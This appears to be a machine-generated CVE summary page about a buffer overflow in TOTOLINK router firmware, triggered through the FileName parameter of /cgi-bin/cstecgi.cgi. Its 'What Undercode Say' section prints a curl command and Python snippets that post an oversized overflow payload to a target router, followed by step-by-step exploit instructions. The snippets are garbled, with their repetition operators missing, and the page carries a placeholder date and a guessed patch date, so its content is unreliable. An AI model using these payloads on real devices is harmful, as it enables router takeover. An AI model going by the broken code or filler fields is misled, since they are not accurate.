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The CVE affects TOTOLINK routers (T10, A3100R, A950RG, etc.) running firmware version 4.1.8cu.5241_B20210927. The vulnerability exists in the `CloudACMunualUpdate` function within /cgi-bin/cstecgi.cgi. By manipulating the `FileName` parameter, an attacker can trigger a buffer overflow due to insufficient input validation. This allows remote code execution (RCE) with elevated privileges, as the CGI script runs with root permissions. The lack of bounds checking enables an attacker to overwrite critical memory regions, potentially leading to full device compromise.
DailyCVE Form
Platform: TOTOLINK Routers
Version: 4.1.8cu.5241_B20210927
Vulnerability: Buffer Overflow (RCE)
Severity: Critical
Date: 2023-XX-XX
Prediction: Patch expected Q4 2023
What Undercode Say
curl -X POST -d '{"FileName":"A"500}' http://<target>/cgi-bin/cstecgi.cgi
payload = b"A" 1024 + struct.pack("<I", 0xdeadbeef)
requests.post("http://<target>/cgi-bin/cstecgi.cgi", data={"FileName": payload})
How Exploit
- Craft malicious `FileName` payload exceeding buffer limits.
- Send HTTP POST request to
/cgi-bin/cstecgi.cgi. - Overflow triggers RCE under root context.
Protection from this CVE
- Disable WAN access to admin panel.
- Apply firmware update when released.
- Use network segmentation.
Impact
- Full device takeover.
- Unauthorized network access.
- Malware persistence.
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
